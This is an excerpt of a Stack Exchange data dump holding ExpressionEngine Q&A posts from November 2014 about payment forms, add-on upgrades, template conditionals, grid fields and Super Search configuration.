  <row Id="26562" PostTypeId="2" ParentId="26557" CreationDate="2014-11-04T04:52:13.393" Score="0" Body="&lt;p&gt;Usually when the payment form refreshes without advancing it is a result of an error with one of the forms without a templated error field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you would want to remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; from the final page of your checkout template to evoke the default EE error page. Doing this should show you if a field is not being submitted properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you should add &lt;code&gt;{error:payment_method}&lt;/code&gt; which will show any errors generated by Stripe while you are trying to submit an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also want to make sure that you have created a hidden input field for your token and that your JS is calling that hidden field to look for the token before the order is submitted. Since it seems that you are able to submit some orders without problem you shouldn't need to worry about your secret token and/or API keys being entered properly but it is always good to double check if you are not able to submit any orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of that works you should check your developer console to make sure that you are not experiencing any JS errors that might prevent the form from submitting.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-11-04T04:52:13.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26563" PostTypeId="1" CreationDate="2014-11-04T09:01:06.403" Score="0" ViewCount="74" Body="&lt;p&gt;Is it possible to reserve the item the user adds to their cart? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if there is an inventory of 2 and one user adds 2 to their cart, show this product as out of stock unless this user removes the items from their cart.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2016-06-11T06:09:04.097" Title="Cartthrob - Reserve inventory when in cart" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26564" PostTypeId="1" CreationDate="2014-11-04T09:24:39.220" Score="3" ViewCount="173" Body="&lt;p&gt;I am using the built-in mailing list activation template on an EE website I am working on and would like to include an unsubscribe link at the bottom of the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding the tag &lt;code&gt;{unsubscribe_url}&lt;/code&gt; to the bottom, but it does not seem that this tag is being parsed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way of achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet of my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td height=&quot;50&quot; align=&quot;middle&quot;&amp;gt;You are receiving this message because you have signed up to receive the newsletter. To unsubscribe, please click &amp;lt;a href=&quot;{unsubscribe_url}&quot; style=&quot;color:#729134;&quot;&amp;gt;here&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="3170" LastEditDate="2014-11-04T10:58:27.043" LastActivityDate="2016-01-07T05:01:14.970" Title="Add Unsubscribe Link To EE Emails" Tags="|ee2|email|html-email|mailinglist|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26565" PostTypeId="1" AcceptedAnswerId="26568" CreationDate="2014-11-04T09:43:17.230" Score="0" ViewCount="53" Body="&lt;p&gt;Is there a way to enable a wysiwyg editor for editing phrases in Publisher?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that you could actually add html tags into phrases. But it would be a great addition, if there was an add-on that actually could convert some phrase input fields into a simple wysiwyg editors.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-01-03T14:51:11.390" Title="Publisher phrases in html" Tags="|wysiwyg|publisher|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26566" PostTypeId="2" ParentId="26552" CreationDate="2014-11-04T10:58:56.200" Score="2" Body="&lt;p&gt;Firstly, can you confirm that the admin.php file actually still present on the server? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you mentioned the disallowed key characters message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you setting 2 lots of Google Analytics cookies? Third party services may also be setting Analytics cookies. I had this problem recently with an old Typekit kit which resulted in one of the cookies being renamed using a ~ character which fell foul of EE's allowed characters. In the case of Typekit they stopped doing this long ago but old kits need to be republished and for some reason it only recently became a  problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why this would cause a 404 error though so it could well be unrelated.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-04T10:58:56.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26567" PostTypeId="2" ParentId="26552" CreationDate="2014-11-04T12:14:17.930" Score="1" Body="&lt;p&gt;This got solved by a dialogue with the hosts. They claim it was 'wrong permissions' on the admin.php file but I am not sure if this is the case. Especially as they advised me to change all FTP passwords and would not give further info when I requested their logs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, it's working again now. Sorry I can't give further info on the fix for anyone in the same position. &lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-11-04T12:14:17.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26568" PostTypeId="2" ParentId="26565" CreationDate="2014-11-04T13:55:29.823" Score="0" Body="&lt;p&gt;I currently don't have plans to implement a wysiwyg editor for the phrases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, StackExchange is not my official support channel. Please use boldminded.com/support in the future.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-11-04T13:55:29.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26572" PostTypeId="2" ParentId="26428" CreationDate="2014-11-04T19:27:19.587" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/14247&quot; rel=&quot;nofollow&quot;&gt;Mark graciously pointed out&lt;/a&gt; that I was missing a nested tag in the get_list portion. I also added the channel_id in addition to the name so I didn't have to deal with needing to character escape names. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:item_channel_id}{channel_id}{/stash:item_channel_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the get_list became this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;favorites&quot; unique=&quot;item_channel_id&quot; orderby=&quot;item_channel_name&quot;}&#xA;#{item_channel_name}#&#xA; {exp:stash:get_list:nested name=&quot;favorites&quot; match=&quot;#^{item_channel_id}$#&quot; against=&quot;item_channel_id&quot; prefix=&quot;nested&quot;  orderby=&quot;item_title&quot;}&#xA;    {nested:item_title}&#xA; {/exp:stash:get_list:nested}  &#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-11-04T19:27:19.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26573" PostTypeId="1" AcceptedAnswerId="26886" CreationDate="2014-11-04T22:01:36.553" Score="2" ViewCount="57" Body="&lt;p&gt;I am in the process of upgrading from EE1 to EE2. My EE1 site makes use of the SL Google Maps add-on, which does not seem to have an EE2 version. How do I handle this problem? Is there an add-on available for EE2 which allow me to upgrade relatively seamlessly?&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-11-05T05:18:44.357" LastActivityDate="2014-11-25T08:02:59.913" Title="How do I update SL Google Maps to EE2" Tags="|ee1|upgrade|ee2-upgrades|google-maps|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26575" PostTypeId="1" AcceptedAnswerId="26587" CreationDate="2014-11-04T22:50:38.570" Score="1" ViewCount="72" Body="&lt;p&gt;I am looking after an EE1 site that uses the &lt;a href=&quot;http://devot-ee.com/add-ons/repeet&quot; rel=&quot;nofollow&quot;&gt;Repeet&lt;/a&gt; add-on by Studio625: Brent C. Wilson. It seems to only be compatible with EE1. I am in the process of upgrading the site to EE2 and copied the version of the EE1 plugin that I have to the third_party folder anyway. I am now getting this error, which I assume is because the original add-on is not compatible with EE2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function fetch_param() on a non-object in \system\expressionengine\third_party\repeet\pi.repeet.php on line 91&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I do to fix this? Could I install the Solspace &lt;a href=&quot;http://devot-ee.com/add-ons/calendar&quot; rel=&quot;nofollow&quot;&gt;Calendar&lt;/a&gt; add-on and would that work seamslessly?&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-11-05T05:18:16.317" LastActivityDate="2014-11-05T12:19:32.910" Title="Repeet add-on upgrade from EE1 to EE2" Tags="|add-on|solspace-calendar|ee1|upgrade|ee2-upgrades|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26576" PostTypeId="2" ParentId="24914" CreationDate="2014-11-05T00:32:09.723" Score="0" Body="&lt;p&gt;Here is the code that is working for us, based on enj fix. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:rows}&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            {composer:columns}&#xA;                &amp;lt;div class=&quot;columns {if composer:column_total == 2}six{if:elseif composer:column_total == 3}four{if:elseif composer:column_total == 4}three{if:else}twelve{/if}&quot;&amp;gt;&#xA;                    {if composer:field_total == 0}&#xA;&#xA;                    {/if}&#xA;                {composer:fields}&#xA;                    {if &quot;{freeform:error:{composer:field_name}}&quot; != &quot;&quot;}&amp;lt;span class=&quot;error&quot;&amp;gt;{/if}&#xA;                    {if composer:field_label}&#xA;                        {if composer:field_type == 'nonfield_captcha'}&#xA;                            {if freeform:captcha}&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;{composer:field_label}&amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            {/if}&#xA;                        {if:else}&#xA;                            &amp;lt;label class=&quot;field_label&quot; {if composer:field_name != ''}for=&quot;freeform_{composer:field_name}&quot;{/if}&amp;gt;&#xA;                                {composer:field_label}{if composer:field_required}&amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;                            &amp;lt;/label&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                    {if composer:field_output}&#xA;&#xA;                        {if composer:field_type == 'nonfield_title'}&#xA;                            &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;                        {if:elseif composer:field_type == 'nonfield_captcha'}&#xA;                            {if freeform:captcha}&#xA;                                    {freeform:captcha}&amp;lt;br /&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;                            {/if}&#xA;                        {if:else}&#xA;                            {composer:field_output}&#xA;                        {/if}&#xA;                    {/if}&#xA;                    {if &quot;{freeform:error:{composer:field_name}}&quot; != &quot;&quot;}&amp;lt;/span&amp;gt;{/if}&#xA;                {/composer:fields}&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- end columns --&amp;gt;&#xA;            {/composer:columns}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end row --&amp;gt;&#xA;{/composer:rows}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-11-05T00:32:09.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26577" PostTypeId="2" ParentId="18268" CreationDate="2014-11-05T00:50:09.110" Score="0" Body="&lt;p&gt;Thanks. My modal was empty, but adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = &quot;/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fixed it for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets 2.4&#xA;EE 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-11-05T00:50:09.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26578" PostTypeId="2" ParentId="26208" CreationDate="2014-11-05T04:03:19.937" Score="1" Body="&lt;p&gt;Can you share your template code? As you mentioned, the &lt;code&gt;return&lt;/code&gt; parameter only applies to a successful form submission. If the submission is unsuccessful (because of validation errors), you'll have to handle those. Are you using &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt;? If so, you'll need to actually include the error tags in the form (&lt;code&gt;{error:email}&lt;/code&gt;). It would help to see your template code.&lt;/p&gt;&#xA;" OwnerUserId="1232" LastActivityDate="2014-11-05T04:03:19.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26579" PostTypeId="1" CreationDate="2014-11-05T06:27:13.257" Score="0" ViewCount="81" Body="&lt;p&gt;So I've got a fairly complex problem. Allow me to explain...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got an EE website where 80% of their traffic comes via social shares of their blog posts, so making sure the Twitter and Facebook meta data is perfect is key. FB and TW require the meta data that shows on a &lt;a href=&quot;http://www.quicksprout.com/2013/03/25/social-media-meta-tags-how-to-use-open-graph-and-cards/&quot; rel=&quot;nofollow&quot;&gt;share card&lt;/a&gt; be placed within the  tag of your website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's two different times people share the site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) blog posts&lt;Br&gt;&#xA;2.) global: any other page on the site that's not a blog post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the variables/values inside the meta tags, inside  to change depending on whether or not the user is sharing a blog post or global page. and IF they are on a blog post, use the EE variables for that specific post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my sloppy attempt at writing what I ultimately need using rough JS syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&#xA;if (is blog post) {&#xA;&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;}&#xA;&#xA;&amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary_large_image&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:site&quot; content=&quot;@lorem&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:title&quot; content=&quot;{title}&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:description&quot; content=&quot;{excerpt}&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{blog_thumbnail}&quot;/&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;} else { &#xA;&#xA;&amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary_large_image&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:site&quot; content=&quot;@lorem&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:title&quot; content=&quot;Lorem ipsum dolor&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:description&quot; content=&quot;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent tempus velit enim, sit amet pulvinar sapien blandit et. In facilisis tortor vitae quam venenatis euismod. Nunc auctor lorem porta mauris congue accumsan.&quot;/&amp;gt;&#xA;&amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;lorem.com/_img/share.jpg&quot;/&amp;gt;&#xA;&#xA;}&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what I should even be using for this? Is there some way to do this IF statement with EE's template code or is there some way to do this on page load with javascript and still get the EE variables?&lt;/p&gt;&#xA;" OwnerUserId="3756" LastActivityDate="2015-12-22T05:19:06.250" Title="How to enable conditional social meta information for blog posts" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26581" PostTypeId="2" ParentId="26579" CreationDate="2014-11-05T09:00:51.180" Score="1" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&#xA;  &amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary_large_image&quot;/&amp;gt;&#xA;  &amp;lt;meta name=&quot;twitter:site&quot; content=&quot;@lorem&quot;/&amp;gt;&#xA;&#xA;  {exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;}&#xA;    {if no_results}&#xA;      &amp;lt;meta name=&quot;twitter:title&quot; content=&quot;Lorem ipsum dolor&quot;/&amp;gt;&#xA;      &amp;lt;meta name=&quot;twitter:description&quot; content=&quot;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&quot;/&amp;gt;&#xA;      &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;lorem.com/_img/share.jpg&quot;/&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;meta name=&quot;twitter:title&quot; content=&quot;{title}&quot;/&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:description&quot; content=&quot;{excerpt}&quot;/&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{blog_thumbnail}&quot;/&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Removed the duplicate content out of the tag code so there's no duplication.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-11-05T09:00:51.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26583" PostTypeId="2" ParentId="26575" CreationDate="2014-11-05T09:22:21.883" Score="1" Body="&lt;p&gt;I'm not 100% sure I understand what Repeet does but it's unlikely that it would be worth trying to &quot;fix&quot; it to work with EE2 as it's most likely going to mean completely rewriting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a way to specify repeating events then you may want to look at &lt;a href=&quot;http://gotolow.com/addons/low-events&quot; rel=&quot;nofollow&quot;&gt;Low Events&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-05T09:22:21.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26584" PostTypeId="2" ParentId="5574" CreationDate="2014-11-05T10:56:26.773" Score="1" Body="&lt;p&gt;With DataGrab, you can point to a URL to import from. I've successfully imported directly  by using the following URL pattern&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://spreadsheets.google.com/feeds/download/spreadsheets/Export?key=1_sgsUhvWxAQrJOYluVn3jxCEcBTZqhlVBiDAPlVLEb0&amp;amp;exportFormat=csv&quot; rel=&quot;nofollow&quot;&gt;https://spreadsheets.google.com/feeds/download/spreadsheets/Export?key=1_sgsUhvWxAQrJOYluVn3jxCEcBTZqhlVBiDAPlVLEb0&amp;amp;exportFormat=csv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Datagrab you can use any column as a 'primary key' for updates. Ensure on your spreadsheet side you have a unique key in one of the columns and ensure you import this as well (e.g. ImportID).&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2014-11-05T10:56:26.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26585" PostTypeId="2" ParentId="26575" CreationDate="2014-11-05T12:02:03.783" Score="2" Body="&lt;p&gt;If you need repeating events your best bet is indeed Solspace Calendar, Repeet is EE1 only and was never ported to EE2. A seamless update however it is not, you may have to rebuild your calender completely. (it's what I would do anyway, the solspace module does a lot more than just repeating events).&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-05T12:02:03.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26586" PostTypeId="2" ParentId="26573" CreationDate="2014-11-05T12:07:12.103" Score="3" Body="&lt;p&gt;The big daddy of googlemaps add-ons for EE2 is &lt;a href=&quot;http://devot-ee.com/add-ons/google-maps&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/google-maps&lt;/a&gt; but afaik there's no seamless upgrade path. You could contact objective html and ask though.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-05T12:07:12.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26587" PostTypeId="2" ParentId="26575" CreationDate="2014-11-05T12:19:32.910" Score="2" Body="&lt;p&gt;I took a look on Repeet. It just repeats the event on the template. If this is enough for you, instead of use aaaaaaaaallllll the power of Solspace Calendar, you can try to convert the add-on by yourself. There are &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/conversion/index.html&quot; rel=&quot;nofollow&quot;&gt;guidelines&lt;/a&gt; on EllisLab website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace Calendar is a monster of complexity. If you can stay away from it, you should.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-11-05T12:19:32.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26588" PostTypeId="2" ParentId="26560" CreationDate="2014-11-05T12:20:18.853" Score="0" Body="&lt;p&gt;Hard to discern a pattern in your markup but have a look at the modulus operator &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#modulus-operator&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#modulus-operator&lt;/a&gt; which can be handy if you need to do something every nth iteration of a loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you need the top-x2 and top-x1 classes?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-05T12:20:18.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26589" PostTypeId="2" ParentId="26517" CreationDate="2014-11-05T12:25:04.733" Score="0" Body="&lt;p&gt;Have you tried removing the header (doctype) and footer? So start from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the end of your main &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;/table&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and just that.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-05T21:20:31.643" LastActivityDate="2014-11-05T21:20:31.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26592" PostTypeId="1" AcceptedAnswerId="30264" CreationDate="2014-11-05T16:05:44.250" Score="1" ViewCount="94" Body="&lt;p&gt;I've got a channel form which contains a grid field and I can add and edit content with no issues. The problem however is that if I remove an entire row, and then save the edit, nothing is updated. I'm returned to the entry and the row remains.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;content&quot; return=&quot;URL_TITLE&quot; entry_id=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;Edit: {title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;structure_uri&quot; value=&quot;{url_title}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;structure_template_id&quot; value=&quot;36&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;structure_parent_id&quot; value=&quot;0&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;section1&quot; class=&quot;form-container&quot;&amp;gt;&#xA;       &amp;lt;h2&amp;gt;Section #1&amp;lt;/h2&amp;gt;&#xA;       {field:section_1}&#xA;       &amp;lt;a href=&quot;#&quot; class=&quot;add_attachment&quot;&amp;gt;Add Attachments?&amp;lt;/a&amp;gt;&#xA;       &amp;lt;div class=&quot;attachments&quot;&amp;gt;&#xA;          &amp;lt;h3&amp;gt;Section #1 Attachments&amp;lt;/h3&amp;gt;&#xA;          {field:section_1_files}&#xA;       &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;save&quot; value=&quot;Save Changes&quot;&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;{field:section_1}&lt;/code&gt; and &lt;code&gt;{field:section_1_files}&lt;/code&gt; are the grid fields. Once I remove a row it disappears from the page and is replaced with the;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;You have not added any rows of data yet. Add some data?&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But saving doesn't appear to be doing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-02-26T16:07:36.457" Title="Removing a grid row from SAEF / Channel Form and saving doesn't update entry" Tags="|safecracker|grid|saef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26593" PostTypeId="1" AcceptedAnswerId="28429" CreationDate="2014-11-05T17:17:03.457" Score="0" ViewCount="69" Body="&lt;p&gt;I want to build a site that allows subscribe, then book time slots in a calendar. Booking a slot will cost an amount based on criteria the member selects in a form. I'm thinking the subscription part of the site will be built with Membrr, and the calendar will be Solspace Calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part I'm not sure about is how to charge users to book a slot (effectively charging to create an entry?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done something similar, or have ideas regarding how I might implement this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2015-01-13T22:11:06.547" Title="How would I charge to create an entry (e.g. in Solspace Calendar)" Tags="|members|solspace-calendar|subscriptions|membrr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26594" PostTypeId="1" AcceptedAnswerId="26660" CreationDate="2014-11-05T17:53:01.063" Score="0" ViewCount="84" Body="&lt;p&gt;On the website &lt;a href=&quot;http://constructionbook.bnibooks.com/&quot; rel=&quot;nofollow&quot;&gt;http://constructionbook.bnibooks.com/&lt;/a&gt;, I'm trying to modify Super Search to get search on the website the way we want it, but I'm having some difficulties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Super Search Version 2.1.4, Expression Engine Version 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. 'NO SOLUTION'&lt;/strong&gt; Is there a way to have the parameter search_word_within_words apply to some searchable fields but not to others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. 'SOLVED'&lt;/strong&gt; In order to make it so that an empty string returns no search results, I tried adding the conditional statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {if super_search_keywords==&quot;&quot;}&#xA;            &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;No results matched your query.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, any empty search string still paginates and now returns &quot;No results matched your query.&quot; 4 times (with a long empty space in between time). I believe this is because it hasn't actually stopped displaying any products. How might I change the results so that if the search string is empty, we simply return 0 results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. 'SOLVED'&lt;/strong&gt; Is there a way to, if super_search_total_results is equal to 1, redirect the user to the page for that result. In other words, there's only one result, so they should be take to that page. I have the conditional statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {if super_search_total_results==1}&#xA;&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure what code to put in that statement that will redirect to the result. What might I write that would redirect the user to that page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: I was able to take care of #3 with a redirect tag that is built into ExpressionEngine&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. SOLVED&lt;/strong&gt; On our old website, we had it set up so that some searches redirected to category pages. We have a large number of categories, so it would be impractical to simply write an {if} statement for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way we can build a table and have super search read that table, so that if a user searches a specific term, we can redirect them to a specific category page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: I was able to take care of #6 with URL redirects using Detour Pro&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3760" LastEditorUserId="3760" LastEditDate="2014-11-26T22:49:40.887" LastActivityDate="2014-11-26T22:49:40.887" Title="Super Search Questions - Partial search_words_within_words, Empty Search Strings, Single Search Result Redirect (SOLVED)" Tags="|solspace|search|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
